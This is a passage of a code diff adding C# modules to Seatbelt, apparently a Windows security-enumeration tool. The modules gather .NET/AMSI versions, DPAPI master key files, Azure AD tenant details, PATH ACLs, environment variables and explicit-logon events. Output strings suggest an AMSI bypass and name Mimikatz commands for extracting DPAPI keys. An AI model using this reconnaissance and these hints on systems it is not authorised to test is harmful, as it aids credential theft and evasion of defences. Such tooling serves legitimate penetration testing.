|
}
|
|
@ -0,0 +1,147 @@
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Management;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class DotNetCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "DotNet";
|
||||||
|
public override string Description => "DotNet versions";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.System, CommandGroup.Remote};
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public DotNetCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
private IEnumerable<string> GetCLRVersions()
|
||||||
|
{
|
||||||
|
var versions = new List<string>();
|
||||||
|
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Windows\\Microsoft.Net\\Framework\\");
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
if (System.IO.File.Exists($"{dir}\\System.dll"))
|
||||||
|
{
|
||||||
|
// yes, I know I'm passing a directory and not a file. I know this is a hack :)
|
||||||
|
versions.Add(System.IO.Path.GetFileName(dir.TrimEnd(System.IO.Path.DirectorySeparatorChar)).TrimStart('v'));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return versions;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string GetOSVersion()
|
||||||
|
{
|
||||||
|
var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "SELECT Version FROM Win32_OperatingSystem");
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
foreach (var os in wmiData.Get())
|
||||||
|
{
|
||||||
|
return os["Version"].ToString();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var installedDotNetVersions = new List<string>();
|
||||||
|
var installedCLRVersions = new List<string>();
|
||||||
|
installedCLRVersions.AddRange(GetCLRVersions());
|
||||||
|
|
||||||
|
#nullable disable
|
||||||
|
var dotNet35Version = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\NET Framework Setup\NDP\v3.5", "Version");
|
||||||
|
if (!string.IsNullOrEmpty(dotNet35Version))
|
||||||
|
{
|
||||||
|
installedDotNetVersions.Add(dotNet35Version);
|
||||||
|
}
|
||||||
|
|
||||||
|
var dotNet4Version = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full", "Version");
|
||||||
|
if (!string.IsNullOrEmpty(dotNet4Version))
|
||||||
|
{
|
||||||
|
installedDotNetVersions.Add(dotNet4Version);
|
||||||
|
}
|
||||||
|
|
||||||
|
int osVersionMajor = int.Parse(GetOSVersion().Split('.')[0]);
|
||||||
|
#nullable restore
|
||||||
|
yield return new DotNetDTO(
|
||||||
|
installedCLRVersions.ToArray(),
|
||||||
|
installedDotNetVersions.ToArray(),
|
||||||
|
osVersionMajor >= 10
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class DotNetDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public DotNetDTO(string[] installedCLRVersions, string[] installedDotNetVersions, bool osSupportsAmsi)
|
||||||
|
{
|
||||||
|
InstalledCLRVersions = installedCLRVersions;
|
||||||
|
InstalledDotNetVersions = installedDotNetVersions;
|
||||||
|
OsSupportsAmsi = osSupportsAmsi;
|
||||||
|
}
|
||||||
|
public string[] InstalledCLRVersions { get; }
|
||||||
|
public string[] InstalledDotNetVersions { get; }
|
||||||
|
public bool OsSupportsAmsi { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(DotNetDTO))]
|
||||||
|
internal class DotNetTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public DotNetTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (DotNetDTO)result;
|
||||||
|
var lowestVersion = dto.InstalledDotNetVersions.Min(v => (new Version(v)));
|
||||||
|
var highestVersion = dto.InstalledDotNetVersions.Max(v => (new Version(v)));
|
||||||
|
bool dotNetSupportsAMSI = ((highestVersion.Major >= 4) && (highestVersion.Minor >= 8));
|
||||||
|
|
||||||
|
WriteLine(" Installed CLR Versions");
|
||||||
|
foreach (var v in dto.InstalledCLRVersions)
|
||||||
|
{
|
||||||
|
WriteLine(" " + v);
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteLine("\n Installed .NET Versions");
|
||||||
|
foreach (var v in dto.InstalledDotNetVersions)
|
||||||
|
{
|
||||||
|
WriteLine(" " + v);
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteLine("\n Anti-Malware Scan Interface (AMSI)");
|
||||||
|
WriteLine($" OS supports AMSI : {dto.OsSupportsAmsi}");
|
||||||
|
WriteLine($" .NET version support AMSI : {dotNetSupportsAMSI}");
|
||||||
|
|
||||||
|
if((highestVersion.Major == 4) && (highestVersion.Minor >= 8))
|
||||||
|
{
|
||||||
|
WriteLine($" [!] The highest .NET version is enrolled in AMSI!");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (
|
||||||
|
dto.OsSupportsAmsi &&
|
||||||
|
dotNetSupportsAMSI &&
|
||||||
|
((
|
||||||
|
(lowestVersion.Major == 3)
|
||||||
|
) ||
|
||||||
|
((lowestVersion.Major == 4) && (lowestVersion.Minor < 8)))
|
||||||
|
)
|
||||||
|
{
|
||||||
|
WriteLine($" [*] You can invoke .NET version {lowestVersion.Major}.{lowestVersion.Minor} to bypass AMSI.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,117 @@
|
||||||
|
#nullable disable
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
class MasterKey
|
||||||
|
{
|
||||||
|
public string FileName { get; set; }
|
||||||
|
|
||||||
|
public DateTime LastAccessed { get; set; }
|
||||||
|
|
||||||
|
public DateTime LastModified { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class DpapiMasterKeysCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "DpapiMasterKeys";
|
||||||
|
public override string Description => "List DPAPI master keys";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
|
||||||
|
public DpapiMasterKeysCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var userDpapiBasePath = $"{dir}\\AppData\\Roaming\\Microsoft\\Protect\\";
|
||||||
|
if (!Directory.Exists(userDpapiBasePath))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var directories = Directory.GetDirectories(userDpapiBasePath);
|
||||||
|
foreach (var directory in directories)
|
||||||
|
{
|
||||||
|
var files = Directory.GetFiles(directory);
|
||||||
|
|
||||||
|
var MasterKeys = new List<MasterKey>();
|
||||||
|
|
||||||
|
foreach (var file in files)
|
||||||
|
{
|
||||||
|
if (!Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var masterKey = new MasterKey();
|
||||||
|
masterKey.FileName = Path.GetFileName(file);
|
||||||
|
masterKey.LastAccessed = File.GetLastAccessTime(file);
|
||||||
|
masterKey.LastModified = File.GetLastAccessTime(file);
|
||||||
|
MasterKeys.Add(masterKey);
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new DpapiMasterKeysDTO()
|
||||||
|
{
|
||||||
|
Folder = $"{directory}",
|
||||||
|
MasterKeys = MasterKeys
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteHost("\n [*] Use the Mimikatz \"dpapi::masterkey\" module with appropriate arguments (/pvk or /rpc) to decrypt");
|
||||||
|
WriteHost(" [*] You can also extract many DPAPI masterkeys from memory with the Mimikatz \"sekurlsa::dpapi\" module");
|
||||||
|
WriteHost(" [*] You can also use SharpDPAPI for masterkey retrieval.");
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class DpapiMasterKeysDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public string Folder { get; set; }
|
||||||
|
public List<MasterKey> MasterKeys { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(DpapiMasterKeysDTO))]
|
||||||
|
internal class DpapiMasterKeysFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public DpapiMasterKeysFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (DpapiMasterKeysDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" Folder : {0}\n", dto.Folder);
|
||||||
|
WriteLine($" LastAccessed LastModified FileName");
|
||||||
|
WriteLine($" ------------ ------------ --------");
|
||||||
|
|
||||||
|
foreach(var masterkey in dto.MasterKeys)
|
||||||
|
{
|
||||||
|
WriteLine(" {0,-22} {1,-22} {2}", masterkey.LastAccessed, masterkey.LastModified, masterkey.FileName);
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,169 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Security.Cryptography.X509Certificates;
|
||||||
|
using System.Text;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using static Seatbelt.Interop.Netapi32;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class DSregcmdCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "Dsregcmd";
|
||||||
|
public override string Description => "Return Tenant information - Replacement for Dsregcmd /status";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User }; // either CommandGroup.System, CommandGroup.User, or CommandGroup.Misc
|
||||||
|
public override bool SupportRemote => false; // set to true if you want to signal that your module supports remote operations
|
||||||
|
|
||||||
|
public DSregcmdCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
//original code from https://github.com/ThomasKur/WPNinjas.Dsregcmd/blob/2cff7b273ad4d3fc705744f76c4bd0701b2c36f0/WPNinjas.Dsregcmd/DsRegCmd.cs
|
||||||
|
|
||||||
|
var tenantId = "";
|
||||||
|
var retValue = NetGetAadJoinInformation(tenantId, out var ptrJoinInfo);
|
||||||
|
if (retValue == 0)
|
||||||
|
{
|
||||||
|
var joinInfo = (DSREG_JOIN_INFO)Marshal.PtrToStructure(ptrJoinInfo, typeof(DSREG_JOIN_INFO));
|
||||||
|
var JType = (DSregcmdDTO.JoinType)joinInfo.joinType;
|
||||||
|
var did = new Guid(joinInfo.DeviceId);
|
||||||
|
var tid = new Guid(joinInfo.TenantId);
|
||||||
|
|
||||||
|
var data = Convert.FromBase64String(joinInfo.UserSettingSyncUrl);
|
||||||
|
var UserSettingSyncUrl = Encoding.ASCII.GetString(data);
|
||||||
|
var ptrUserInfo = joinInfo.pUserInfo;
|
||||||
|
|
||||||
|
DSREG_USER_INFO? userInfo = null;
|
||||||
|
var cresult = new List<X509Certificate2>();
|
||||||
|
Guid? uid = null;
|
||||||
|
|
||||||
|
if (ptrUserInfo != IntPtr.Zero)
|
||||||
|
{
|
||||||
|
userInfo = (DSREG_USER_INFO) Marshal.PtrToStructure(ptrUserInfo, typeof(DSREG_USER_INFO));
|
||||||
|
uid = new Guid(userInfo?.UserKeyId);
|
||||||
|
var store = new X509Store(StoreName.My, StoreLocation.LocalMachine);
|
||||||
|
store.Open(OpenFlags.ReadOnly);
|
||||||
|
|
||||||
|
foreach (var certificate in store.Certificates)
|
||||||
|
{
|
||||||
|
if (certificate.Subject.Equals($"CN={did}"))
|
||||||
|
{
|
||||||
|
cresult.Add(certificate);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Marshal.Release(ptrUserInfo);
|
||||||
|
}
|
||||||
|
|
||||||
|
Marshal.Release(ptrJoinInfo);
|
||||||
|
|
||||||
|
yield return new DSregcmdDTO(
|
||||||
|
JType,
|
||||||
|
did,
|
||||||
|
joinInfo.IdpDomain,
|
||||||
|
tid,
|
||||||
|
joinInfo.JoinUserEmail,
|
||||||
|
joinInfo.TenantDisplayName,
|
||||||
|
joinInfo.MdmEnrollmentUrl,
|
||||||
|
joinInfo.MdmTermsOfUseUrl,
|
||||||
|
joinInfo.MdmComplianceUrl,
|
||||||
|
UserSettingSyncUrl,
|
||||||
|
cresult,
|
||||||
|
userInfo?.UserEmail,
|
||||||
|
uid,
|
||||||
|
userInfo?.UserKeyName
|
||||||
|
);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
WriteError("Unable to collect. No relevant information were returned");
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
|
||||||
|
NetFreeAadJoinInformation(ptrJoinInfo);
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class DSregcmdDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public DSregcmdDTO(JoinType jType, Guid deviceId, string idpDomain, Guid tenantId, string joinUserEmail, string tenantDisplayName, string mdmEnrollmentUrl, string mdmTermsOfUseUrl,
|
||||||
|
string mdmComplianceUrl, string userSettingSyncUrl, List<X509Certificate2> certInfo, string? userEmail, Guid? userKeyId, string? userKeyname)
|
||||||
|
{
|
||||||
|
JType = jType;
|
||||||
|
DeviceId = deviceId;
|
||||||
|
IdpDomain = idpDomain;
|
||||||
|
TenantId = tenantId;
|
||||||
|
JoinUserEmail = joinUserEmail;
|
||||||
|
TenantDisplayName = tenantDisplayName;
|
||||||
|
MdmEnrollmentUrl = mdmEnrollmentUrl;
|
||||||
|
MdmTermsOfUseUrl = mdmTermsOfUseUrl;
|
||||||
|
MdmComplianceUrl = mdmComplianceUrl;
|
||||||
|
UserSettingSyncUrl = userSettingSyncUrl;
|
||||||
|
CertInfo = certInfo;
|
||||||
|
UserEmail = userEmail;
|
||||||
|
UserKeyId = userKeyId;
|
||||||
|
UserKeyname = userKeyname;
|
||||||
|
}
|
||||||
|
public enum JoinType
|
||||||
|
{
|
||||||
|
DSREG_UNKNOWN_JOIN,
|
||||||
|
DSREG_DEVICE_JOIN,
|
||||||
|
DSREG_WORKPLACE_JOIN,
|
||||||
|
DSREG_NO_JOIN
|
||||||
|
}
|
||||||
|
public JoinType JType { get; }
|
||||||
|
public Guid DeviceId { get; }
|
||||||
|
public string IdpDomain { get; }
|
||||||
|
public Guid TenantId { get; }
|
||||||
|
public string JoinUserEmail { get; }
|
||||||
|
public string TenantDisplayName { get; }
|
||||||
|
public string MdmEnrollmentUrl { get; }
|
||||||
|
public string MdmTermsOfUseUrl { get; }
|
||||||
|
public string MdmComplianceUrl { get; }
|
||||||
|
public string UserSettingSyncUrl { get; }
|
||||||
|
public List<X509Certificate2> CertInfo { get; }
|
||||||
|
public string? UserEmail { get; }
|
||||||
|
public Guid? UserKeyId { get; }
|
||||||
|
public string? UserKeyname { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(DSregcmdDTO))]
|
||||||
|
internal class DSregcmdFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public DSregcmdFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
// nothing goes here
|
||||||
|
}
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (DSregcmdDTO)result;
|
||||||
|
|
||||||
|
WriteLine($" TenantDisplayName : {dto.TenantDisplayName}");
|
||||||
|
WriteLine($" TenantId : {dto.TenantId}");
|
||||||
|
WriteLine($" IdpDomain : {dto.IdpDomain}");
|
||||||
|
WriteLine($" MdmEnrollmentUrl : {dto.MdmEnrollmentUrl}");
|
||||||
|
WriteLine($" MdmTermsOfUseUrl : {dto.MdmTermsOfUseUrl}");
|
||||||
|
WriteLine($" MdmComplianceUrl : {dto.MdmComplianceUrl}");
|
||||||
|
WriteLine($" UserSettingSyncUrl : {dto.UserSettingSyncUrl}");
|
||||||
|
WriteLine($" DeviceId : {dto.DeviceId}");
|
||||||
|
WriteLine($" JoinType : {dto.JType}");
|
||||||
|
WriteLine($" JoinUserEmail : {dto.JoinUserEmail}");
|
||||||
|
WriteLine($" UserKeyId : {dto.UserKeyId}");
|
||||||
|
WriteLine($" UserEmail : {dto.UserEmail}");
|
||||||
|
WriteLine($" UserKeyname : {dto.UserKeyname}\n");
|
||||||
|
|
||||||
|
foreach (var cert in dto.CertInfo)
|
||||||
|
{
|
||||||
|
WriteLine($" Thumbprint : {cert.Thumbprint}");
|
||||||
|
WriteLine($" Subject : {cert.Subject}");
|
||||||
|
WriteLine($" Issuer : {cert.Issuer}");
|
||||||
|
WriteLine($" Expiration : {cert.GetExpirationDateString()}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,57 @@
|
||||||
|
#nullable disable
|
||||||
|
using System;
|
||||||
|
using System.Security.AccessControl;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class EnvironmentPathCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "EnvironmentPath";
|
||||||
|
public override string Description => "Current environment %PATH$ folders and SDDL information";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.System};
|
||||||
|
public override bool SupportRemote => false; // doesn't make sense to implement as we have "EnvironmentVariables" for remote hosts
|
||||||
|
|
||||||
|
public EnvironmentPathCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var pathString = Environment.GetEnvironmentVariable("Path");
|
||||||
|
var paths = pathString.Split(';');
|
||||||
|
|
||||||
|
foreach(var path in paths)
|
||||||
|
{
|
||||||
|
var SDDL = "";
|
||||||
|
|
||||||
|
if(!String.IsNullOrEmpty(path.Trim()))
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var security = Directory.GetAccessControl(path, AccessControlSections.Owner | AccessControlSections.Access);
|
||||||
|
SDDL = security.GetSecurityDescriptorSddlForm(AccessControlSections.Owner | AccessControlSections.Access);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
// eat it
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new EnvironmentPathDTO()
|
||||||
|
{
|
||||||
|
Name = path.Trim(),
|
||||||
|
SDDL = SDDL
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class EnvironmentPathDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public string Name { get; set; }
|
||||||
|
public string SDDL { get; set; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,82 @@
|
||||||
|
#nullable disable
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
internal class EnvironmentVariableCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "EnvironmentVariables";
|
||||||
|
public override string Description => "Current environment variables";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.System, CommandGroup.Remote};
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public EnvironmentVariableCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var envVariables = new List<EnvironmentVariableDTO>();
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "Select UserName,Name,VariableValue from win32_environment");
|
||||||
|
var data = wmiData.Get();
|
||||||
|
|
||||||
|
foreach (var envVariable in data)
|
||||||
|
{
|
||||||
|
envVariables.Add(new EnvironmentVariableDTO(
|
||||||
|
envVariable["UserName"],
|
||||||
|
envVariable["Name"],
|
||||||
|
envVariable["VariableValue"]
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
foreach (var envVariable in envVariables)
|
||||||
|
{
|
||||||
|
yield return envVariable;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class EnvironmentVariableDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public EnvironmentVariableDTO(object userName, object name, object value)
|
||||||
|
{
|
||||||
|
UserName = userName.ToString();
|
||||||
|
Name = name.ToString();
|
||||||
|
Value = value.ToString();
|
||||||
|
}
|
||||||
|
public string UserName { get; set; }
|
||||||
|
public string Name { get; set; }
|
||||||
|
public string Value { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(EnvironmentVariableDTO))]
|
||||||
|
internal class EnvironmentVariableFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public EnvironmentVariableFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (EnvironmentVariableDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" {0,-35}{1,-35}{2}", dto.UserName, dto.Name, dto.Value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#nullable enable
|
|
@ -0,0 +1,113 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics.Eventing.Reader;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows.EventLogs.ExplicitLogonEvents
|
||||||
|
{
|
||||||
|
internal class ExplicitLogonEventsCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Description => "Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days.";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc, CommandGroup.Remote };
|
||||||
|
public override string Command => "ExplicitLogonEvents";
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public ExplicitLogonEventsCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
const string eventId = "4648";
|
||||||
|
string? userFilterRegex = null;
|
||||||
|
|
||||||
|
// grab events from the last X days - 7 for default, 30 for "-full" collection
|
||||||
|
// Always use the user-supplied value, if specified
|
||||||
|
var lastDays = 7;
|
||||||
|
if (args.Length >= 1)
|
||||||
|
{
|
||||||
|
if (!int.TryParse(args[0], out lastDays))
|
||||||
|
{
|
||||||
|
WriteError("Argument is not an integer");
|
||||||
|
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if (!Runtime.FilterResults)
|
||||||
|
{
|
||||||
|
lastDays = 30;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if (!SecurityUtil.IsHighIntegrity() && !ThisRunTime.ISRemote())
|
||||||
|
{
|
||||||
|
WriteError("Unable to collect. Must be an administrator.");
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteHost("Listing 4648 Explicit Credential Events - A process logged on using plaintext credentials");
|
||||||
|
|
||||||
|
if (args.Length >= 2)
|
||||||
|
{
|
||||||
|
userFilterRegex = args[1];
|
||||||
|
WriteHost($"Username Filter: {userFilterRegex}");
|
||||||
|
}
|
||||||
|
WriteHost("Output Format:");
|
||||||
|
WriteHost(" --- TargetUser,ProcessResults,SubjectUser,IpAddress ---");
|
||||||
|
WriteHost(" <Dates the credential was used to logon>\n\n");
|
||||||
|
|
||||||
|
|
||||||
|
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||||
|
var endTime = DateTime.Now;
|
||||||
|
|
||||||
|
var query = $@"*[System/EventID={eventId}] and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]]";
|
||||||
|
|
||||||
|
var logReader = ThisRunTime.GetEventLogReader("Security", query);
|
||||||
|
|
||||||
|
for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())
|
||||||
|
{
|
||||||
|
//string subjectUserSid = eventDetail.Properties[0].Value.ToString();
|
||||||
|
var subjectUserName = eventDetail.Properties[1].Value.ToString();
|
||||||
|
var subjectDomainName = eventDetail.Properties[2].Value.ToString();
|
||||||
|
//var subjectLogonId = eventDetail.Properties[3].Value.ToString();
|
||||||
|
//var logonGuid = eventDetail.Properties[4].Value.ToString();
|
||||||
|
var targetUserName = eventDetail.Properties[5].Value.ToString();
|
||||||
|
var targetDomainName = eventDetail.Properties[6].Value.ToString();
|
||||||
|
//var targetLogonGuid = eventDetail.Properties[7].Value.ToString();
|
||||||
|
//var targetServerName = eventDetail.Properties[8].Value.ToString();
|
||||||
|
//var targetInfo = eventDetail.Properties[9].Value.ToString();
|
||||||
|
//var processId = eventDetail.Properties[10].Value.ToString();
|
||||||
|
var processName = eventDetail.Properties[11].Value.ToString();
|
||||||
|
var ipAddress = eventDetail.Properties[12].Value.ToString();
|
||||||
|
//var IpPort = eventDetail.Properties[13].Value.ToString();
|
||||||
|
|
||||||
|
// Ignore the current machine logging on and
|
||||||
|
if (Runtime.FilterResults && Regex.IsMatch(targetUserName, Environment.MachineName) ||
|
||||||
|
Regex.IsMatch(targetDomainName, @"^(Font Driver Host|Window Manager)$"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (userFilterRegex != null && !Regex.IsMatch(targetUserName, userFilterRegex))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
yield return new ExplicitLogonEventsDTO()
|
||||||
|
{
|
||||||
|
TimeCreatedUtc = eventDetail.TimeCreated?.ToUniversalTime(),
|
||||||
|
SubjectUser = subjectUserName,
|
||||||
|
SubjectDomain = subjectDomainName,
|
||||||
|
TargetUser = targetUserName,
|
||||||
|
TargetDomain = targetDomainName,
|
||||||
|
Process = processName,
|
||||||
|
IpAddress = ipAddress
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,17 @@
|
||||||
|
#nullable disable
|
||||||
|
using System;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows.EventLogs.ExplicitLogonEvents
|
||||||
|
{
|
||||||
|
internal class ExplicitLogonEventsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public string SubjectUser { get; set; }
|
||||||
|
public string SubjectDomain { get; set; }
|
||||||
|
public string TargetUser { get; set; }
|
||||||
|
public string TargetDomain { get; set; }
|
||||||
|
public string Process { get; set; }
|
||||||
|
public string IpAddress { get; set; }
|
||||||
|
